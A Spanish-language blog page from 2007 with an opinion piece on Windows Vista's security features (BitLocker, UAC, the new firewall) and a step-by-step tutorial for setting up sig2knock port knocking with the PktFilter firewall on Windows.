Publicado por Jorge Hoya el 17 febrero 2007, 23:38 - Comentarios comentarios (0)
Etiquetas: ,

Desde hace unos días he estado recibiendo emails hablando de lo malo que tiene Windows Vista: que si denunciará a los usuarios con software no original, que si la DRM impedirá realizar copias de seguridad de nuestros discos y películas, etc. No os voy a negar que mi primera actitud fué creermelas todas.

Hoy nos han dado en el trabajo una charla sobre este nuevo sistema opertivo, gracias Alberto, y ha servido para aclararme algunas cosas. Si bien es cierto que la charla se ha centrado en Windows Vista Enterprise, bastantes cosas se pueden extender a las demás versiones de esta nueva versión de Windows. Podemos agrupar lo nuevo en varios grupos: seguridad, estética, optimización y uso. Como el tema daría para un artículo demasiado extenso, lo iré exponiedo por separado. Hoy toca la seguridad pero antes de nada pediros comprensión por la inexactitud de alguna afirmación, la idea es transmitiros lo que pienso al respecto :-)

Seguridad en Windows Vista

En el tema de la seguridad se añaden funcionalidades que, dicen, harán más seguro el control de la información: Bitlocker, UAC, Firewall, etc

BitLocker y el chip TPM

En pocas palabras, con esta caracteristica se cifra el contenido del disco duro utilizando hashes dados por la configuración del hardware de tu ordernador. Si bien es cierto, que si te roban el portatil, este método evitará que alguien, que no deba, pueda acceder a la información contenida en su interior, pensad, qué ocurriría si, habiendo cifrado el contenido del disco duro, se te estropea la placa base .... ¿qué sucedería con tu información? ¿Cómo la recuperas?

Leyendo un mensaje en Kriptópolis [2] sobre el tema, vi un comentario que aporta una alternativa para hacer lo mismo (cifrado de información) y gratis: utiliar TrueCrypt [3] para, tal y como dicen los creadores de esta herramienta:

TrueCrypt es un software para crear y mantener un volumen (dispositivo de almacenamiento de datos) 'encriptado al vuelo'. Por 'encriptado al vuelo' se entiende que la información es automáticamente encriptada y desencriptado justo antes de cargarla o guardarla, sin la intervención del usuario.

Sobre esta aplicación os puedo decir que cumple lo que dice: tras una instalación sencilla en la que creas una unidad virtual cifrada, la usas tan fácilmente como un disco normal. No dejéis de usarla, yo ya llevo casi un año con ella.

UAC (User Accont Control) 

UAC (User Account Control) [5] está basado en el concepto del mínimo privilegio. Se pretende que un usuario utilice, por defecto, el mínimo nivel de privilegios que necesite y que, únicamente para realizar ciertas acciones, se eleve dicho nivel. Si lo que queremos es crear un documento de Word, no nos hace falta ser Administrador. En cambio, si queremos configurar el Firewall si necesitamos dichos privilegios. Para hacerlo, UAC intenta concedernos los privilegios que necesitamos para ejecutar la aplicación: si estamos logeados como administrador simplemente nos avisará del cambio, si estamos logeados como un usuario sin privilegios nos pedirá el nombre, y contraseña, de una adminisrador del equipo. No sé a vosotros pero esto me recuerda mucho a sudo en entornos Linux [4]. Y con esto no digo que hayan copiado la idea, simplemente que me parece positivo que se 'influencien' de cosas que funcionan bien.
 
Otra de las novedades que nos aporta UAC es la independencia de servicios. Con esta nueva versión de Windows, no podrá haber vinculación entre servicios que se estén ejecutando en la máquina. Esto es positivo para que un servicio no se adueñe de otro (técnica utilizada por multitud de virus)  pero puede provocar que muchas aplicaciones dejen de funcionar. Por ejemplo, un antivirus que realice un escaneo del disco duro utilizando un servicio y cree el informe del proceso con otro dejará de funcionar. Pensad vosotros las incompatibilidades que esto provocará.

Firewall de Windows Vista 

En lo referente a este tema, se ha renovado el firewall, se ha reescrito la pila TCP/IP y creado una nueva arquitectura (WFP, Windows Filtering Platform) para incrementar el desarrollo con varias API's. Se ha implementado el soporte para IPv6 de forma nativa y la mejora estrella, según la gente de Microsoft, es la posibilidad de crear reglas de filtrado para el tráfico saliente (además del entrante ya disponible en Windows XP) ... acción posible desde hace años en Unix (con esto no quiero decir nada)

Resumiendo

En resumen, creo que la gente de Microsoft ha hecho un esfuerzo por mejorar la seguridad de su plataforma. Creo que muchas son positivas, que se les echaba de menos y que, a pesar de lo bueno que aportan puede que al usuario doméstico no le guste tanto: cuando no pueda instalar el juego que estaba jugando en el momento de actualizar de XP a Vista se va a enfadar. Cuando el programa de contabilidad dejer de funcionar, se acordará de la madre de alguno. Ni te cuento cuando su impresora pase de él y le diga que ni le imprime nada.

Antes de marchar, dos cosas:

  1. NO dejéis de leer la lista de mensajes que hay en Kriptópolis [6] sobre el tema, hay cosas que asustan y otras que asombran. Imprescindible que veáis el video, o una parte, de la entrevista, que le hicieran en TV3, a la Presidenta de Microsoft Ibérica [9] en la que nos explica qué nos aporta Windows Vista.
  2. Podéis encontrar una información más detallada en el número 10 [7] de la revista electrónica INSECUREMAG [8]

En la siguiente entrega, Optimización y necesidades de hardware para instalar y usar Windows Vista. 

[1] Información sobre BitLocker en Microsoft.com
[2] http://www.kriptopolis.org/puertas-traseras-en-windows-vista-por-encima-de-mi-cadaver
[3] http://www.truecrypt.org/
[4] http://www.escomposlinux.org/fserrano/sudo.html
[5] http://technet.microsoft.com/en-us/windowsvista/aa905108.aspx
[6] http://www.kriptopolis.org/articulos/windows?page=1
[7] http://www.net-security.org/dl/insecure/INSECURE-Mag-10.pdf
[8] http://www.insecuremag.com/
[9] http://www.kriptopolis.org/el-vecino-chillon

Sigue leyendo 'Examen a Windows Vista'

Subir

Introduccion

El portknocking es un método por el que podemos establecer comunicación con un ordenador que no tenga ningún puerto abierto. Antes de establecer realmente la conexión, se contacta con una determinada cantidad de puertos (en un orden establecido) mediante una serie de llamadas (port knock), que no son otra cosa que intentos de conexión con puertos cerrados. El host remoto genera y envía una secuencia válida de llamadas con el objetivo de manipular (modificar) las reglas del firewall del servidor y así abrir uno, o más, puertos específicos. Estas manipulaciones (modificaciones) son realizadas por el demonio del port knock, que corre en el servidor, el cual monitoriza (vigila) el log del firewall a la búsqueda de intentos de conexión que puedan ser secuencias auténticas de port knock (llamadas). Una vez que los puertos deseados están abiertos, el host remoto puede establecer la conexión e iniciar sesión. El puerto, abierto de este modo, será cerrado posteriormente mediante otra secuencia de llamadas.

El uso de este método dependerá de la cantidad de usuarios que puedan concurrir en el uso del sistema. Un ejemplo ideal para implementar el portknocking es en la administración remota de un servidor mediante conexiones SSH. Por el contrario, su uso para limitar, controlar o el acceso a un servidor web no sería muy adecuado.

En este documento vamos a tratar la instalación y configuración de sig2knock, una de las implementaciones de PortKnocking que hay disponibles. ¿Y por qué esta? Pués porque la mayoría de ellas, esta incluida, están pensadas para los sistemas Linux/Unix y, a priori, la cantidad de información para instalarlo en estos sistemas es abundante, porque la documentación sobre cómo montarlo en Windows no lo es demasiado (o yo no la he encontrado) y, sobre todo, porque me apetecía :-) Quizás algunos hubierais tirado directamente por SAdoor pero mis conocimientos no llegan a tanto .

Debido a que:

  • durante el proceso de PortKnock, el servidor debe poder abrir el puerto asignado al cliente, añadiendo una nueva reglas a las existentes en la configuración del Firewal
  • sig2knock está pensado para interactuar con IPTables (Linux/Unix) y con PktFilter (Windows)
  • y que este manual está pensado para entornos Windows

el paso siguiente es instalar y configurar PktFilter en el servidor.

Instalación de PktFilter

Vamos a la web oficial, nos descargamos la útima versión de PktFilter y descomprimimos el fichero en una carpeta (paso[1]). Acto seguido, vamos a la web de sig2knock, descargamos el fichero del servidor y lo descomprimimos en otra carpeta (paso[2]).

A continuación, movemos el contenido de la carpeta del paso [1] a la carpeta del paso[2], esto es: movemos el pktfilter a la misma carpeta del servidor del sig2knock. Esto es así porque este último necesita añadir nuevas reglas al Firewall y ha de saber donde está este instalado. Otra opción sería no mover el PktFilter a la carpeta de Sig2knock y añadir la carpeta la carpeta de instalación del PktFilter al PATH del sistema.

Instalamos el pktfilter como servicio (por que queremos tener el Firewall siempre activo, no?) Para ello, abrimos la consola de Windows, nos movemos hasta la carpeta del PktFilter y escribimos:

pktfltsrv -i "ruta_al_fichero_de_reglas" "ruta_al_fichero_de_bloqueos_del_firewall"

donde ruta_al_fichero_de_reglas indica la ruta completa al fichero con contiene las reglas del firewall y ruta_al_fichero_de_bloqueos_del_firewall es la ruta completa al fichero log donde guardamos los eventos del firewall.

Siguiendo las indicaciones del manual de PktFilter, configuramos las reglas del firewall para lo cual nos vale con el fichero de ejemplo más esta línea añadida:

pass out on eth0 proto udp from 192.168.0.112 to any

para permitir el envio de paquetes UDP por parte del servidor a cualquier cliente (esta regla la puedes modificar para restringir que el cliente sea un único equipo, uno que forme parte de una red o cualquiera). La configuración minima del firewall debe ser, suponiendo de que sólo tengas una interfaz de red o, de tener varias, uses la primera (eth0):

option small_frags on eth0
block in on eth0 all
block out on eth0 all
pass out on eth0 proto udp from 192.168.0.112 to any

Ahora que ya tenemos configurado el firewall, arrancamos PktFilter bien mediante el panel de servicios (al que podemos acceder tecleando "services.msc" en la consola) o mediante la sentencia "net start pktfilter".

Nota: por favor, lee la documentación que viene con PktFilter para que entiendas bien cómo funciona este firewall.

Instalación de sig2knock

Esta implementación del portknocking funciona del siguiente modo

  1. el cliente manda un paquete UDP, P1, encriptado con el hash de la contraseña de usuario donde envía una secuencia adelatoria de puertos.
  2. el servidor recibe el paquete, lo desencripta (usando la contraseña de usuario que conoce, ya que dispone de un fichero de usuarios/contraseñas -debidamente protegido-) y se queda a la espera.
  3. el cliente manda la secuencia de llamadas confirmada
  4. el cliente envía un paquete UDP encriptado, P2, para confirmar el estado del port knock
  5. Después de recibir la secuencia correcta y el paquete P2, el servidor envía el paquete P3 (que no es otra cosa que un paquete UDP, encriptado con la contraseña del usuario, que contiene el puerto asignado para la comunicación).
  6. Después de recibir el paquete P3, el cliente puede conectarse al puerto asignado.

El servidor únicamente aceptará conexiones al puerto asignado para el cliente que ha solicitado el port knock (identificado por su IP) y las renviará a la IP y puerto especificado en el fichero de configuración del servidor de portknock. Cualquier otra llamada será bloqueada. Podéis ver un esquema en la Figura.1

Esquema del proceso
Figura.1 - Esquema del proceso de Port Knock en la implementación de sig2knock.

Ahora que ya entendemos cómo funciona sig2knock pasamos a configurarlo. Descargamos de la web de sig2knock el manual, el cliente, el servidor y descomprimimos el fichero que contiene el servidor. El proceso de configuración es rápido, ya que sólo hemos de modificar dos documentos: user.txt y sig2knockd.conf. El primero, user.txt, es el fichero que contiene los datos de los usuarios que podrán conectarse al servidor via portknock (está de más decir que este fichero ha de estar fuera del alcance de cualquiera, sólo los administradores deben tener acceso a él). El segundo, sig2knockd.conf contiene:

	
UDP_PORT = 1001	  
FORWARD_TO_IP = 192.168.0.112
FORWARD_TO_PORT = 2121
SINGLECONN_PORTOPEN_TIME = 190
PKTFILTER_INTERFACE = eth0

donde

  • UDP_PORT es el puerto UDP en el que el servidor quedará a la escucha
  • FORWARD_TO_IP es la IP a la que reenviará la comunicación una vez sea establecidad la conexión
  • FORWARD_TO_PORT es el puerto al que reenviará la comunicación una vez sea establecidad la conexión
  • SINGLECONN_PORTOPEN_TIME indica el tiempo que estará disponible el puerto abierto por el servidor en el caso de una secuencia de llamadas correcta (después de este tiempo, el puerto será cerrado de nuevo)
  • PKTFILTER_INTERFACE es el identificador de la tarjeta de red (parámetro opcional que hemos de indicar sólo si tenemos instalado PktFilter)

Después de haber configurado el servidor con nuestros datos, pasamos a crear los usuarios que podrán acceder. Para ello disponemos de la aplicación sig2knockd_useradd, en línea de comandos, que mediante la introduccción de un usuario, y su contraseña, nos generará una cadena que hemos de añadir al fichero "user.txt".
Sencillo, no? Pués ahora que ya tenemos un usuario arrancamos el servidor de portknocking, que desde la línea de comandos sería:

sig2knockd -i ID_TARJETA_RED

donde ID_TARJETA_RED es el identificador de la tarjeta de red. En nuestro caso la línea queda así:

sig2knockd -i 1

Ahora que ya tenemos el servidor a la espera de conexiones, Figura.2, vamos al host cliente y nos conectamos. Para ello escribimos:

sig2knockc IP_SERVIDOR PUERTO

donde

  • IP_SERVIDOR es la IP del Servidor
  • PUERTO es el puerto UDP del servidor al queremos conectarnos

Para nuestro ejemplo quedaría de esta manera:

sig2knockc 192.168.0.112 1001

La secuencia en imágenes de todo el proceso de conexión es la siguiente:

Servidor de portknocking a la espera de conexiones
Figura.2 - Servidor de Port Knocking a la espera de conexiones

Cliente de portknocking iniciando una conexion
Figura.3 - Cliente de portknocking iniciando y estableciendo una conexión.

Servidor de portknocking aceptando una conexión
Figura.4 - Servidor de Port Knocking aceptando la conexión

Como véis en las imágenes, el servidor ha abierto el puerto 30523 para el usuario kiu que se intenta conectar desde la IP 192.168.0.115. Desde este momento, kiu tiene 190 segundos para conectarse al servidor.

Un ejemplo práctico podría ser un servidor SSH aceptando únicamente conexiones en el puerto 22 de la interfaz local (127.0.0.1). Delante del Firewall podríamos tener el servidor de PortKnocking con esta configuración:

	
	UDP_PORT = 58085  
	FORWARD_TO_IP = 127.0.0.1
	FORWARD_TO_PORT = 22
	SINGLECONN_PORTOPEN_TIME = 30
	PKTFILTER_INTERFACE = eth0
	

Fallos y problemas

Para ser completamente sinceros os diré que este montaje fue entre dos máquinas con Windows 2000 Server Sp4 y funcionó en los dos sentidos (intercambiando quién hacía de cliente y quién de servidor). Pero cuando lo intenté sobre dos Windows Xp Prof. Sp2 las cosas no salieron tan bien. El cliente no conseguía iniciar la secuencia de llamada dando el error Error: RAW socket sendto() error Lo único que he encontrado en la web del sig2knock es donde hablan de bugs conocidos. En ella dicen:

After sending packet P2, the client expects to receive packet P3 back from the server. At this point, since the server is not listening on any UDP ports, its IP stack will send out a ICMP port unreachable packet to the client. As a result, the client will receive the ICMP port unreachable packet first before receiving P3. This will cause the recv() operation on the client to fail with -1. The consequence is that the client will not be able to receive P3 from the server and the user will not know the random port that the server assigns.
This will be fixed in the next version by modifying the client to receive P3 packets using RAW socket instead of normal sockets. In the meantime, the workaround is to install a packet filter on the server that prevents the IP stack from sending out the ICMP port unreachable packet.

Lo que viene a significar más o menos:

Después de mandar el paquete P2, el cliente espera recibir el paquete P3 desde el servidor. En este punto, si el servidor no está escuchando en ningún puerto UDP, su pila IP enviará un paquete saliente ICMP de puerto inalcanzable al cliente. Como resultado, el cliente recibe el paquete ICMP de puerto inalcanzable antes de recibir el P3. Esto provoca que la operación recv() falle con -1. Como consecuencia el cliente no recibirá P3 desde el servidor y el usuario no sabrá el puerto aleatorio que el servidor le ha asignado.

Todo esto será solventado en la próxima versión modificando el cliente para que reciba los paquetes P3 use sockets RAW en lugar de sockets normales. Mientras tanto, es conveniente instalar un filtro de paquetes en el servidor para prevenir el envío del paquete ICMP de puerto inalcanzable.

Pero en mi caso el error me lo daba después del envio del primer paquete de la secuencia de llamadas, antes de P2 no después de P2. Revisaré por si, a pesar de deshabilitar el Firewall Sygate que tenía instalado antes de montar todo el escenario e instalar PktFilter, realmente el puerto UDP no estubiera disponible en el servidor.

Sigue leyendo 'Portknocking para Windows: Instalación de sig2knock'

Subir

  • 1